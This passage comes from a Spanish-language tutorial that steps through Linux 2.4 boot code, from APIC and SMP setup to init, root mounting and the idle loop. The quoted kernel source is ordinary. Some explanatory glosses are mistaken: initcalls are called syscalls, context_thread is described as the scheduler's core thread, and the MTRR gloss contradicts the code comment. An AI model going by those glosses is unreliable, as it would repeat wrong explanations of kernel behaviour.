if (nmi_watchdog == NMI_LOCAL_APIC)
check_nmi_watchdog();
#ifdef CONFIG_X86_IO_APIC
if (smp_found_config)
if (!skip_ioapic_setup && nr_ioapics)
setup_IO_APIC();
#endif
setup_APIC_clocks();

return 0;
}

Si no hay APIC o si lo hay pero no lo encontramos, volvemos con -1.

/*
* This is to verify that we're looking at a real local APIC.
* Check these against your board if the CPUs aren't getting
* started for no apparent reason.
*/

int __init verify_local_APIC(void)
{
unsigned int reg0, reg1;

/*
* The version register is read-only in a real APIC.
*/

reg0 = apic_read(APIC_LVR);
Dprintk("Getting VERSION: %x\n", reg0);
apic_write(APIC_LVR, reg0 ^ APIC_LVR_MASK);
reg1 = apic_read(APIC_LVR);
Dprintk("Getting VERSION: %x\n", reg1);

/*
* The two version reads above should print the same
* numbers. If the second one is different, then we
* poke at a non-APIC.
*/

if (reg1 != reg0)
return 0;

/*
* Check if the version looks reasonably.
*/

reg1 = GET_APIC_VERSION(reg0);
if (reg1 == 0x00 || reg1 == 0xff)
return 0;
reg1 = get_maxlvt();
if (reg1 < 0x02 || reg1 == 0xff)
return 0;

/*
* The ID register is read/write in a real APIC.
*/

reg0 = apic_read(APIC_ID);
Dprintk("Getting ID: %x\n", reg0);
apic_write(APIC_ID, reg0 ^ APIC_ID_MASK);
reg1 = apic_read(APIC_ID);
Dprintk("Getting ID: %x\n", reg1);
apic_write(APIC_ID, reg0);
if (reg1 != (reg0 ^ APIC_ID_MASK))
return 0;

/*
* The next two are just to see if we have sane values.
* They're only really relevant if we're in Virtual Wire
* compatibility mode, but most boxes are anymore.
*/

reg0 = apic_read(APIC_LVT0);
Dprintk("Getting LVT0: %x\n", reg0);
reg1 = apic_read(APIC_LVT1);
Dprintk("Getting LVT1: %x\n", reg1);

return 1;
}

Comprovamos que el APIC sea un APIC de verdad.

void __init connect_bsp_APIC(void)
{
if (pic_mode) {
/*
* Do not trust the local APIC being empty at bootup.
*/

clear_local_APIC();
/*
* PIC mode, enable APIC mode in the IMCR, i.e.
* connect BSP's local APIC to INT and NMI lines.
*/

printk("leaving PIC mode, enabling APIC mode.\n");
outb(0x70, 0x22);
outb(0x01, 0x23);
}
}

Si estamos en PIC mode, limpiamos el APIC y lo habilitamos.

void __init setup_local_APIC (void)
{
unsigned long value, ver, maxlvt;

/* Pound the ESR really hard over the head with a big hammer - mbligh */
if (esr_disable) {
apic_write(APIC_ESR, 0);
apic_write(APIC_ESR, 0);
apic_write(APIC_ESR, 0);
apic_write(APIC_ESR, 0);
}

value = apic_read(APIC_LVR);
ver = GET_APIC_VERSION(value);

if ((SPURIOUS_APIC_VECTOR & 0x0f) != 0x0f)
__error_in_apic_c();

/*
* Double-check wether this APIC is really registered.
* This is meaningless in clustered apic mode, so we skip it.
*/

if (!clustered_apic_mode &&
!test_bit(GET_APIC_ID(apic_read(APIC_ID)), &phys_cpu_present_map))
BUG();

/*
* Intel recommends to set DFR, LDR and TPR before enabling
* an APIC. See e.g. "AP-388 82489DX User's Manual" (Intel
* document number 292116). So here it goes...
*/


if (!clustered_apic_mode) {
/*
* In clustered apic mode, the firmware does this for us
* Put the APIC into flat delivery mode.
* Must be "all ones" explicitly for 82489DX.
*/

apic_write_around(APIC_DFR, 0xffffffff);

/*
* Set up the logical destination ID.
*/

value = apic_read(APIC_LDR);
value &= ~APIC_LDR_MASK;
value |= (1<<(smp_processor_id()+24));
apic_write_around(APIC_LDR, value);
}

/*
* Set Task Priority to 'accept all'. We never change this
* later on.
*/

value = apic_read(APIC_TASKPRI);
value &= ~APIC_TPRI_MASK;
apic_write_around(APIC_TASKPRI, value);

/*
* Now that we are all set up, enable the APIC
*/

value = apic_read(APIC_SPIV);
value &= ~APIC_VECTOR_MASK;
/*
* Enable APIC
*/

value |= APIC_SPIV_APIC_ENABLED;

/*
* Some unknown Intel IO/APIC (or APIC) errata is biting us with
* certain networking cards. If high frequency interrupts are
* happening on a particular IOAPIC pin, plus the IOAPIC routing
* entry is masked/unmasked at a high rate as well then sooner or
* later IOAPIC line gets 'stuck', no more interrupts are received
* from the device. If focus CPU is disabled then the hang goes
* away, oh well :-(
*
* [ This bug can be reproduced easily with a level-triggered
* PCI Ne2000 networking cards and PII/PIII processors, dual
* BX chipset. ]
*/

/*
* Actually disabling the focus CPU check just makes the hang less
* frequent as it makes the interrupt distributon model be more
* like LRU than MRU (the short-term load is more even across CPUs).
* See also the comment in end_level_ioapic_irq(). --macro
*/

#if 1
/* Enable focus processor (bit==0) */
value &= ~APIC_SPIV_FOCUS_DISABLED;
#else
/* Disable focus processor (bit==1) */
value |= APIC_SPIV_FOCUS_DISABLED;
#endif
/*
* Set spurious IRQ vector
*/

value |= SPURIOUS_APIC_VECTOR;
apic_write_around(APIC_SPIV, value);

/*
* Set up LVT0, LVT1:
*
* set up through-local-APIC on the BP's LINT0. This is not
* strictly necessery in pure symmetric-IO mode, but sometimes
* we delegate interrupts to the 8259A.
*/

/*
* TODO: set up through-local-APIC from through-I/O-APIC? --macro
*/

value = apic_read(APIC_LVT0) & APIC_LVT_MASKED;
if (!smp_processor_id() && (pic_mode || !value)) {
value = APIC_DM_EXTINT;
printk("enabled ExtINT on CPU#%d\n", smp_processor_id());
} else {
value = APIC_DM_EXTINT | APIC_LVT_MASKED;
printk("masked ExtINT on CPU#%d\n", smp_processor_id());
}
apic_write_around(APIC_LVT0, value);

/*
* only the BP should see the LINT1 NMI signal, obviously.
*/

if (!smp_processor_id())
value = APIC_DM_NMI;
else
value = APIC_DM_NMI | APIC_LVT_MASKED;
if (!APIC_INTEGRATED(ver)) /* 82489DX */
value |= APIC_LVT_LEVEL_TRIGGER;
apic_write_around(APIC_LVT1, value);

if (APIC_INTEGRATED(ver) && !esr_disable) { /* !82489DX */
maxlvt = get_maxlvt();
if (maxlvt > 3) /* Due to the Pentium erratum 3AP. */
apic_write(APIC_ESR, 0);
value = apic_read(APIC_ESR);
printk("ESR value before enabling vector: %08lx\n", value);

value = ERROR_APIC_VECTOR; // enables sending errors
apic_write_around(APIC_LVTERR, value);
/*
* spec says clear errors after enabling vector.
*/

if (maxlvt > 3)
apic_write(APIC_ESR, 0);
value = apic_read(APIC_ESR);
printk("ESR value after enabling vector: %08lx\n", value);
} else {
if (esr_disable)
/*
* Something untraceble is creating bad interrupts on
* secondary quads ... for the moment, just leave the
* ESR disabled - we can't do anything useful with the
* errors anyway - mbligh
*/

printk("Leaving ESR disabled.\n");
else
printk("No ESR for 82489DX.\n");
}

if (nmi_watchdog == NMI_LOCAL_APIC)
setup_apic_nmi_watchdog();
}

Probamos el APIC para varios fallos y lo inicializamos.

Bueno, veamos en el caso que tengamos SMP:

#else


/* Called by boot processor to activate the rest. */
static void __init smp_init(void)
{
/* Get other processors into their bootup holding patterns. */
smp_boot_cpus();
wait_init_idle = cpu_online_map;
clear_bit(current->processor, &wait_init_idle); /* Don't wait on me! */

smp_threads_ready=1;
smp_commence();

/* Wait for the other cpus to set up their idle processes */
printk("Waiting on wait_init_idle (map = 0x%lx)\n", wait_init_idle);
while (wait_init_idle) {
cpu_relax();
barrier();
}
printk("All processors have done init_idle\n");
}

#endif

arch/i386/kernel/smpboot.c:

void __init smp_boot_cpus(void)
{
int apicid, cpu, bit;

if (clustered_apic_mode) {
/* remap the 1st quad's 256k range for cross-quad I/O */
xquad_portio = ioremap (XQUAD_PORTIO_BASE, XQUAD_PORTIO_LEN);
printk("Cross quad port I/O vaddr 0x%08lx, len %08lx\n",
(u_long) xquad_portio, (u_long) XQUAD_PORTIO_LEN);
}

#ifdef CONFIG_MTRR
/* Must be done before other processors booted */
mtrr_init_boot_cpu ();
#endif

Inicializamos el MTRR antes de nada.

/*
* Initialize the logical to physical CPU number mapping
* and the per-CPU profiling counter/multiplier
*/


for (cpu = 0; cpu < NR_CPUS; cpu++) {
prof_counter[cpu] = 1;
prof_old_multiplier[cpu] = 1;
prof_multiplier[cpu] = 1;
}

init_cpu_to_apicid();

/*
* Setup boot CPU information
*/

smp_store_cpu_info(0); /* Final full version of the data */
printk("CPU%d: ", 0);
print_cpu_info(&cpu_data[0]);

/*
* We have the boot CPU online for sure.
*/

set_bit(0, &cpu_online_map);
boot_cpu_logical_apicid = logical_smp_processor_id();
map_cpu_to_boot_apicid(0, boot_cpu_apicid);

global_irq_holder = 0;
current->processor = 0;
init_idle();
smp_tune_scheduling();

/*
* If we couldnt find an SMP configuration at boot time,
* get out of here now!
*/

if (!smp_found_config) {
printk(KERN_NOTICE "SMP motherboard not detected.\n");
#ifndef CONFIG_VISWS
io_apic_irqs = 0;
#endif
cpu_online_map = phys_cpu_present_map = 1;
smp_num_cpus = 1;
if (APIC_init_uniprocessor())
printk(KERN_NOTICE "Local APIC not detected."
" Using dummy APIC emulation.\n");
goto smp_done;
}

/*
* Should not be necessary because the MP table should list the boot
* CPU too, but we do it for the sake of robustness anyway.
* Makes no sense to do this check in clustered apic mode, so skip it
*/

if (!clustered_apic_mode &&
!test_bit(boot_cpu_physical_apicid, &phys_cpu_present_map)) {
printk("weird, boot CPU (#%d) not listed by the BIOS.\n",
boot_cpu_physical_apicid);
phys_cpu_present_map |= (1 << hard_smp_processor_id());
}

/*
* If we couldn't find a local APIC, then get out of here now!
*/

if (APIC_INTEGRATED(apic_version[boot_cpu_physical_apicid]) &&
!test_bit(X86_FEATURE_APIC, boot_cpu_data.x86_capability)) {
printk(KERN_ERR "BIOS bug, local APIC #%d not detected!...\n",
boot_cpu_physical_apicid);
printk(KERN_ERR "... forcing use of dummy APIC emulation. (tell your hw vendor)\n");
#ifndef CONFIG_VISWS
io_apic_irqs = 0;
#endif
cpu_online_map = phys_cpu_present_map = 1;
smp_num_cpus = 1;
goto smp_done;
}

Si no podemos encontrar un APIC que funcione, nos olvidamos de SMP.

verify_local_APIC();

/*
* If SMP should be disabled, then really disable it!
*/

if (!max_cpus) {
smp_found_config = 0;
printk(KERN_INFO "SMP mode deactivated, forcing use of dummy APIC emulation.\n");
#ifndef CONFIG_VISWS
io_apic_irqs = 0;
#endif
cpu_online_map = phys_cpu_present_map = 1;
smp_num_cpus = 1;
goto smp_done;
}

connect_bsp_APIC();
setup_local_APIC();

if (GET_APIC_ID(apic_read(APIC_ID)) != boot_cpu_physical_apicid)
BUG();

/*
* Scan the CPU present map and fire up the other CPUs via do_boot_cpu
*
* In clustered apic mode, phys_cpu_present_map is a constructed thus:
* bits 0-3 are quad0, 4-7 are quad1, etc. A perverse twist on the
* clustered apic ID.
*/

Dprintk("CPU present map: %lx\n", phys_cpu_present_map);

for (bit = 0; bit < NR_CPUS; bit++) {
apicid = cpu_present_to_apicid(bit);
/*
* Don't even attempt to start the boot CPU!
*/

if (apicid == boot_cpu_apicid)
continue;

if (!(phys_cpu_present_map & (1 << bit)))
continue;
if ((max_cpus >= 0) && (max_cpus <= cpucount+1))
continue;

do_boot_cpu(apicid);

/*
* Make sure we unmap all failed CPUs
*/

if ((boot_apicid_to_cpu(apicid) == -1) &&
(phys_cpu_present_map & (1 << bit)))
printk("CPU #%d not responding - cannot use it.\n",
apicid);
}

Barremos el mapa de cpus inicializandolas. Si alguna no responde simplemente no
la usamos.

/*
* Cleanup possible dangling ends...
*/

#ifndef CONFIG_VISWS
{
/*
* Install writable page 0 entry to set BIOS data area.
*/

local_flush_tlb();

/*
* Paranoid: Set warm reset code and vector here back
* to default values.
*/

CMOS_WRITE(0, 0xf);

*((volatile long *) phys_to_virt(0x467)) = 0;
}
#endif

/*
* Allow the user to impress friends.
*/


Sumar bogomips de las cpus para impresionar a los amigos. Esta gente del kernel
tienen mucho sentido del humor. Como hablamos anteriormente, los bogomips no
son un metodo demasiado de fiar para medir el rendimiento de una cpu.

Dprintk("Before bogomips.\n");
if (!cpucount) {
printk(KERN_ERR "Error: only one processor found.\n");
} else {
unsigned long bogosum = 0;
for (cpu = 0; cpu < NR_CPUS; cpu++)
if (cpu_online_map & (1<<cpu))
bogosum += cpu_data[cpu].loops_per_jiffy;
printk(KERN_INFO "Total of %d processors activated (%lu.%02lu BogoMIPS).\n",
cpucount+1,
bogosum/(500000/HZ),
(bogosum/(5000/HZ))%100);
Dprintk("Before bogocount - setting activated=1.\n");
}
smp_num_cpus = cpucount + 1;

if (smp_b_stepping)
printk(KERN_WARNING "WARNING: SMP operation may be unreliable with B stepping processors.\n");
Dprintk("Boot done.\n");

/*
* If Hyper-Threading is avaialble, construct cpu_sibling_map[], so
* that we can tell the sibling CPU efficiently.
*/

if (test_bit(X86_FEATURE_HT, boot_cpu_data.x86_capability)
&& smp_num_siblings > 1) {
for (cpu = 0; cpu < NR_CPUS; cpu++)
cpu_sibling_map[cpu] = NO_PROC_ID;

for (cpu = 0; cpu < smp_num_cpus; cpu++) {
int i;

for (i = 0; i < smp_num_cpus; i++) {
if (i == cpu)
continue;
if (phys_proc_id[cpu] == phys_proc_id[i]) {
cpu_sibling_map[cpu] = i;
printk("cpu_sibling_map[%d] = %d\n", cpu, cpu_sibling_map[cpu]);
break;
}
}
if (cpu_sibling_map[cpu] == NO_PROC_ID) {
smp_num_siblings = 1;
printk(KERN_WARNING "WARNING: No sibling found for CPU %d.\n", cpu);
}
}
}

#ifndef CONFIG_VISWS
/*
* Here we can be sure that there is an IO-APIC in the system. Let's
* go and set it up:
*/

if (!skip_ioapic_setup && nr_ioapics)
setup_IO_APIC();
#endif

/*
* Set up all local APIC timers in the system:
*/

setup_APIC_clocks();

/*
* Synchronize the TSC with the AP
*/

if (cpu_has_tsc && cpucount)
synchronize_tsc_bp();

smp_done:
zap_low_mappings();
}

Bueno. Volvamos a start_kernel:

rest_init();
}

Parece que esto se acaba. Vamos a ver que hace esto.

4.1. rest_init() (init/main.c)

static void rest_init(void)
{
kernel_thread(init, NULL, CLONE_FS | CLONE_FILES | CLONE_SIGNAL);
unlock_kernel();
current->need_resched = 1;
cpu_idle();
}

Por un lado lanzamos un hilo con init.

static int init(void * unused)
{
lock_kernel();

Cojemos un lock general del kernel

do_basic_setup();

Esto es...

/*
* Ok, the machine is now initialized. None of the devices
* have been touched yet, but the CPU subsystem is up and
* running, and memory and process management works.
*
* Now we can finally start doing some real work..
*/

static void __init do_basic_setup(void)
{

/*
* Tell the world that we're going to be the grim
* reaper of innocent orphaned children.
*
* We don't want people to have to make incorrect
* assumptions about where in the task array this
* can be found.
*/

child_reaper = current;

#if defined(CONFIG_MTRR) /* Do this after SMP initialization */
/*
* We should probably create some architecture-dependent "fixup after
* everything is up"
style function where this would belong better
* than in init/main.c..
*/

mtrr_init();
#endif

Inicializamos el mtrr antes del SMP

#ifdef CONFIG_SYSCTL
sysctl_init();
#endif

Esto es, de kernel/sysctl.c:

void __init sysctl_init(void)
{
#ifdef CONFIG_PROC_FS
register_proc_table(root_table, proc_sys_root);
init_irq_proc();
#endif
}

Registramos la tabla de procesos de sysctl, y la de irqs.

Sigamos con do_basic_setup():

/*
* Ok, at this point all CPU's should be initialized, so
* we can start looking into devices..
*/

#if defined(CONFIG_ARCH_S390)
s390_init_machine_check();
#endif

#ifdef CONFIG_PCI
pci_init();
#endif

de drivers/pci/pci.c:

void __devinit pci_init(void)
{
struct pci_dev *dev;

pcibios_init();

pci_for_each_dev(dev) {
pci_fixup_device(PCI_FIXUP_FINAL, dev);
}

#ifdef CONFIG_PM
pm_register(PM_PCI_DEV, 0, pci_pm_callback);
#endif
}

de arch/i386/kernel/pci-pc.c:

void __init pcibios_init(void)
{
if (!pci_root_ops)
pcibios_config_init();
if (!pci_root_ops) {
printk("PCI: System does not support PCI\n");
return;
}

printk("PCI: Probing PCI hardware\n");
pci_root_bus = pci_scan_bus(0, pci_root_ops, NULL);

pcibios_irq_init();
pcibios_fixup_peer_bridges();
pcibios_fixup_irqs();
pcibios_resource_survey();

#ifdef CONFIG_PCI_BIOS
if ((pci_probe & PCI_BIOS_SORT) && !(pci_probe & PCI_NO_SORT))
pcibios_sort();
#endif
}

Si el sistema no soporta el bus PCI, volvemos simplemente.

struct pci_bus * __devinit pci_scan_bus(int bus, struct pci_ops *ops, void *sysdata)
{
struct pci_bus *b = pci_alloc_primary_bus(bus);
if (b) {
b->sysdata = sysdata;
b->ops = ops;
b->subordinate = pci_do_scan_bus(b);
}
return b;
}

Devuelve una estructura pci_bus adecuadamente rellenada con el resultado del
escaneo del bus.

Sigamos con do_basic_setup():

#ifdef CONFIG_SBUS
sbus_init();
#endif
#if defined(CONFIG_PPC)
ppc_init();
#endif
#ifdef CONFIG_MCA
mca_init();
#endif
#ifdef CONFIG_ARCH_ACORN
ecard_init();
#endif
#ifdef CONFIG_ZORRO
zorro_init();
#endif
#ifdef CONFIG_DIO
dio_init();
#endif
#ifdef CONFIG_NUBUS
nubus_init();
#endif
#ifdef CONFIG_ISAPNP
isapnp_init();
#endif
#ifdef CONFIG_TC
tc_init();
#endif

/* Networking initialization needs a process context */
sock_init();

en net/socket.c:

void __init sock_init(void)
{
int i;

printk(KERN_INFO "Linux NET4.0 for Linux 2.4\n");
printk(KERN_INFO "Based upon Swansea University Computer Society NET3.039\n");

/*
* Initialize all address (protocol) families.
*/


for (i = 0; i < NPROTO; i++)
net_families[i] = NULL;

/*
* Initialize sock SLAB cache.
*/


sk_init();

Crea un slabcache de socks

#ifdef SLAB_SKB
/*
* Initialize skbuff SLAB cache
*/

skb_init();
#endif

/*
* Wan router layer.
*/


#ifdef CONFIG_WAN_ROUTER
wanrouter_init();
#endif

/*
* Initialize the protocols module.
*/


register_filesystem(&sock_fs_type);
sock_mnt = kern_mount(&sock_fs_type);
/* The real protocol initialization is performed when
* do_initcalls is run.
*/


Se crea el sockfs.

/*
* The netlink device handler may be needed early.
*/


#ifdef CONFIG_NET
rtnetlink_init();
#endif

En net/core/rtnetlink.c:

void __init rtnetlink_init(void)
{
#ifdef RTNL_DEBUG
printk("Initializing RT netlink socket\n");
#endif
rtnl = netlink_kernel_create(NETLINK_ROUTE, rtnetlink_rcv);
if (rtnl == NULL)
panic("rtnetlink_init: cannot initialize rtnetlink\n");
register_netdevice_notifier(&rtnetlink_dev_notifier);
rtnetlink_links[PF_UNSPEC] = link_rtnetlink_table;
rtnetlink_links[PF_PACKET] = link_rtnetlink_table;
}

Crea el routing socket principal.

Seguimos con sock_init():

#ifdef CONFIG_NETLINK_DEV
init_netlink();
#endif

En net/netlink/netlink_dev.c:

int __init init_netlink(void)
{
if (devfs_register_chrdev(NETLINK_MAJOR,"netlink", &netlink_fops)) {
printk(KERN_ERR "netlink: unable to get major %d\n", NETLINK_MAJOR);
return -EIO;
}
devfs_handle = devfs_mk_dir (NULL, "netlink", NULL);
/* Someone tell me the official names for the uppercase ones */
make_devfs_entries ("route", 0);
make_devfs_entries ("skip", 1);
make_devfs_entries ("usersock", 2);
make_devfs_entries ("fwmonitor", 3);
make_devfs_entries ("tcpdiag", 4);
make_devfs_entries ("arpd", 8);
make_devfs_entries ("route6", 11);
make_devfs_entries ("ip6_fw", 13);
make_devfs_entries ("dnrtmsg", 13);
devfs_register_series (devfs_handle, "tap%u", 16, DEVFS_FL_DEFAULT,
NETLINK_MAJOR, 16,
S_IFCHR | S_IRUSR | S_IWUSR,
&netlink_fops, NULL);
return 0;
}

Solo creamos algunas entradas en procfs.

#ifdef CONFIG_NETFILTER
netfilter_init();
#endif

En net/core/netfilter.c:

void __init netfilter_init(void)
{
int i, h;

for (i = 0; i < NPROTO; i++) {
for (h = 0; h < NF_MAX_HOOKS; h++)
INIT_LIST_HEAD(&nf_hooks[i][h]);
}
}

Creamos la matriz principal de netfilter.

#ifdef CONFIG_BLUEZ
bluez_init();
#endif
}

Sigamos con init():
start_context_thread();

En kernel/context.c:

int start_context_thread(void)
{
static struct completion startup __initdata = COMPLETION_INITIALIZER(startup);

kernel_thread(context_thread, &startup, CLONE_FS | CLONE_FILES);
wait_for_completion(&startup);
return 0;
}

Lanzamos un hilo con el context_thread. Este es el hilo central del kernel,
podriamos decir. Se encarga de hacer llamadas al scheduler para distribuir el
tiempo de cpu entre los procesos.

Sigamos con do_basic_setup():

do_initcalls();

Del mismo main.c:

static void __init do_initcalls(void)
{
initcall_t *call;

call = &__initcall_start;
do {
(*call)();
call++;
} while (call < &__initcall_end);

/* Make sure there is no pending stuff from the initcall sequence */
flush_scheduled_tasks();
}

Llama a todas las syscalls, y espera a que terminen completamente.

#ifdef CONFIG_IRDA
irda_proto_init();
irda_device_init(); /* Must be done after protocol initialization */
#endif
#ifdef CONFIG_PCMCIA
init_pcmcia_ds(); /* Do this last */
#endif
}

Bueno, aqui termina do_basic_setup(), sigamos con init():

prepare_namespace();

En el mismo main.c:

static void prepare_namespace(void)
{
#ifdef CONFIG_BLK_DEV_INITRD
int real_root_mountflags = root_mountflags;
if (!initrd_start)
mount_initrd = 0;
if (mount_initrd)
root_mountflags &= ~MS_RDONLY;
real_root_dev = ROOT_DEV;
#endif

#ifdef CONFIG_BLK_DEV_RAM
#ifdef CONFIG_BLK_DEV_INITRD
if (mount_initrd)
initrd_load();
else
#endif
rd_load();
#endif

Si esta definido CONFIG_BLK_DEV_RAM en caso de estarlo tb CONFIG_BLK_DEV_INITRD
llamaremos a initrd_load y si no a rd_load.

/* Mount the root filesystem.. */
mount_root();

Esto es, en fs/super.c:

void __init mount_root(void)
{
struct nameidata root_nd;
struct super_block * sb;
struct vfsmount *vfsmnt;
struct block_device *bdev = NULL;
mode_t mode;
int retval;
void *handle;
char path[64];
int path_start = -1;
char *name = "/dev/root";
char *fs_names, *p;
#ifdef CONFIG_ROOT_NFS
void *data;
#endif
root_mountflags |= MS_VERBOSE;

#ifdef CONFIG_ROOT_NFS
if (MAJOR(ROOT_DEV) != UNNAMED_MAJOR)
goto skip_nfs;
data = nfs_root_data();
if (!data)
goto no_nfs;
vfsmnt = do_kern_mount("nfs", root_mountflags, "/dev/root", data);
if (!IS_ERR(vfsmnt)) {
printk ("VFS: Mounted root (%s filesystem).\n", "nfs");
ROOT_DEV = vfsmnt->mnt_sb->s_dev;
goto attach_it;
}
no_nfs:
printk(KERN_ERR "VFS: Unable to mount root fs via NFS, trying floppy.\n");
ROOT_DEV = MKDEV(FLOPPY_MAJOR, 0);

Si por NFS no podemos, probamos con el floppy.

skip_nfs:
#endif

#ifdef CONFIG_BLK_DEV_FD
if (MAJOR(ROOT_DEV) == FLOPPY_MAJOR) {
#ifdef CONFIG_BLK_DEV_RAM
extern int rd_doload;
extern void rd_load_secondary(void);
#endif
floppy_eject();
#ifndef CONFIG_BLK_DEV_RAM
printk(KERN_NOTICE "(Warning, this kernel has no ramdisk support)\n");
#else
/* rd_doload is 2 for a dual initrd/ramload setup */
if(rd_doload==2)
rd_load_secondary();
else
#endif
{
printk(KERN_NOTICE "VFS: Insert root floppy and press ENTER\n");
wait_for_keypress();
}
}
#endif

fs_names = __getname();
get_fs_names(fs_names);

devfs_make_root (root_device_name);
handle = devfs_find_handle (NULL, ROOT_DEVICE_NAME,
MAJOR (ROOT_DEV), MINOR (ROOT_DEV),
DEVFS_SPECIAL_BLK, 1);
if (handle) /* Sigh: bd*() functions only paper over the cracks */
{
unsigned major, minor;

devfs_get_maj_min (handle, &major, &minor);
ROOT_DEV = MKDEV (major, minor);
}

/*
* Probably pure paranoia, but I'm less than happy about delving into
* devfs crap and checking it right now. Later.
*/

if (!ROOT_DEV)
panic("I have no root and I want to scream");
retry:
bdev = bdget(kdev_t_to_nr(ROOT_DEV));
if (!bdev)
panic(__FUNCTION__ ": unable to allocate root device");
bdev->bd_op = devfs_get_ops (handle); /* Increments module use count */
path_start = devfs_generate_path (handle, path + 5, sizeof (path) - 5);
mode = FMODE_READ;
if (!(root_mountflags & MS_RDONLY))
mode |= FMODE_WRITE;
retval = blkdev_get(bdev, mode, 0, BDEV_FS);
devfs_put_ops (handle); /* Decrement module use count now we're safe */
if (retval == -EROFS) {
root_mountflags |= MS_RDONLY;
goto retry;
}
if (retval) {
/*
* Allow the user to distinguish between failed open
* and bad superblock on root device.
*/

printk ("VFS: Cannot open root device \"%s\" or %s\n",
root_device_name, kdevname (ROOT_DEV));
printk ("Please append a correct \"root=\" boot option\n");
panic("VFS: Unable to mount root fs on %s",
kdevname(ROOT_DEV));
}

check_disk_change(ROOT_DEV);
sb = get_super(ROOT_DEV);
if (sb) {
/* FIXME */
p = (char *)sb->s_type->name;
atomic_inc(&sb->s_active);
up_read(&sb->s_umount);
down_write(&sb->s_umount);
goto mount_it;
}

for (p = fs_names; *p; p += strlen(p)+1) {
struct file_system_type * fs_type = get_fs_type(p);
if (!fs_type)
continue;
sb = read_super(ROOT_DEV, bdev, fs_type,
root_mountflags, root_mount_data);
if (sb)
goto mount_it;
put_filesystem(fs_type);
}
panic("VFS: Unable to mount root fs on %s", kdevname(ROOT_DEV));

mount_it:
/* FIXME */
up_write(&sb->s_umount);
printk ("VFS: Mounted root (%s filesystem)%s.\n", p,
(sb->s_flags & MS_RDONLY) ? " readonly" : "");
putname(fs_names);
if (path_start >= 0) {
name = path + path_start;
devfs_mk_symlink (NULL, "root", DEVFS_FL_DEFAULT,
name + 5, NULL, NULL);
memcpy (name, "/dev/", 5);
}
vfsmnt = alloc_vfsmnt();
if (!vfsmnt)
panic("VFS: alloc_vfsmnt failed for root fs");

set_devname(vfsmnt, name);
vfsmnt->mnt_sb = sb;
vfsmnt->mnt_root = dget(sb->s_root);
bdput(bdev); /* sb holds a reference */


#ifdef CONFIG_ROOT_NFS
attach_it:
#endif
root_nd.mnt = root_vfsmnt;
root_nd.dentry = root_vfsmnt->mnt_sb->s_root;
graft_tree(vfsmnt, &root_nd);

set_fs_root(current->fs, vfsmnt, vfsmnt->mnt_root);
set_fs_pwd(current->fs, vfsmnt, vfsmnt->mnt_root);

mntput(vfsmnt);
}

Si no hemos podido montar el /, a estas alturas tendremos un panic.

Sigamos con prepare_namespace():

mount_devfs_fs ();

En fs/devfs/base.c:

void __init mount_devfs_fs (void)
{
int err;

devfsd_buf_cache = kmem_cache_create ("devfsd_event",
sizeof (struct devfsd_buf_entry),
0, 0, NULL, NULL);
if ( !(boot_options & OPTION_MOUNT) ) return;
err = do_mount ("none", "/dev", "devfs", 0, "");
if (err == 0) printk ("Mounted devfs on /dev\n");
else printk ("Warning: unable to mount devfs, err: %d\n", err);
} /* End Function mount_devfs_fs */

Creamos la cache del devfs y lo montamos en /dev.

Seguimos con prepare_namespace:

#ifdef CONFIG_BLK_DEV_INITRD
root_mountflags = real_root_mountflags;
if (mount_initrd && ROOT_DEV != real_root_dev
&& MAJOR(ROOT_DEV) == RAMDISK_MAJOR && MINOR(ROOT_DEV) == 0) {
int error;
int i, pid;

pid = kernel_thread(do_linuxrc, "/linuxrc", SIGCHLD);
if (pid > 0) {
while (pid != wait(&i)) {
current->policy |= SCHED_YIELD;
schedule();
}
}
if (MAJOR(real_root_dev) != RAMDISK_MAJOR
|| MINOR(real_root_dev) != 0) {
error = change_root(real_root_dev,"/initrd");
if (error)
printk(KERN_ERR "Change root to /initrd: "
"error %d\n",error);
}
}
#endif
}

Si tenemos initrd lanzamos un thread con /linuxrc y esperamos a que acabe si
este funciona, sino seguimos. Luego es posible que nos interese cambiar el root
a /initrd durante el arranque.


Sigamos con init():

/*
* Ok, we have completed the initial bootup, and
* we're essentially up and running. Get rid of the
* initmem segments and start the user-mode stuff..
*/

free_initmem();

En arch/i386/mm/init.c:

void free_initmem(void)
{
unsigned long addr;

addr = (unsigned long)(&__init_begin);
for (; addr < (unsigned long)(&__init_end); addr += PAGE_SIZE) {
ClearPageReserved(virt_to_page(addr));
set_page_count(virt_to_page(addr), 1);
free_page(addr);
totalram_pages++;
}
printk ("Freeing unused kernel memory: %dk freed\n", (&__init_end - &__init_begin) >> 10);
}

Nos deshacemos de algunas paginas de memoria del kernel, usadas durante el
proceso de arranque que ya no nos sirven.

unlock_kernel();

Nos liberamos del big lock.

if (open("/dev/console", O_RDWR, 0) < 0)
printk("Warning: unable to open an initial console.\n");

Abrimos la consola inicial.

(void) dup(0);
(void) dup(0);

/*
* We try each of these until one succeeds.
*
* The Bourne shell can be used instead of init if we are
* trying to recover a really broken machine.
*/


if (execute_command)
execve(execute_command,argv_init,envp_init);
execve("/sbin/init",argv_init,envp_init);
execve("/etc/init",argv_init,envp_init);
execve("/bin/init",argv_init,envp_init);
execve("/bin/sh",argv_init,envp_init);
panic("No init found. Try passing init= option to kernel.");
}

Probamos de ejecutar en orden la siguiente lista:
parametro init= del kernel, /sbin/init, /etc/init, /bin/init, /bin/sh.
Si llegamos al final de la lista (dificil), panic.

Llegado aqui deberia continuar el arranque con mas o menos exito en espacio de
usuario, normalmente init se encargara de ello, pero en determinados casos no
se usara init sino que tendremos simplemente una shell o alguna alternativa a
init.

Pero aún tenemos el hilo padre.

static void rest_init(void)
{
kernel_thread(init, NULL, CLONE_FS | CLONE_FILES | CLONE_SIGNAL);

Aqui habiamos llamado al thread que acabamos de terminar de comentar.
Pero el hilo padre sigue...

unlock_kernel();

Libera el big lock.

current->need_resched = 1;

Marcamos que nuestro hilo ecesita ser rescheduled

cpu_idle();
}

Aqui nos quedamos ejecutando cpu_idle(), que seguira siempre con la prioridad
mas baja posible.

/*
* The idle thread. There's no useful work to be
* done, so just try to conserve power and have a
* low exit latency (ie sit in a loop waiting for
* somebody to say that they'd like to reschedule)
*/

void cpu_idle (void)
{
/* endless idle loop with no priority at all */
init_idle();
current->nice = 20;
current->counter = -100;

while (1) {
void (*idle)(void) = pm_idle;
if (!idle)
idle = default_idle;
while (!current->need_resched)
idle();
schedule();
check_pgt_cache();
}
}

Nos ajustamos la prioridad al minimo, y nos dedicamos a perder el tiempo en un
bucle absurdo.

5. Despedida.

El kernel es demasiado grande (es broma). Lo que si es cierto es que despues de
recorrer todo esto uno termina cansado. Yo me canse tras una cuarta parte, pero
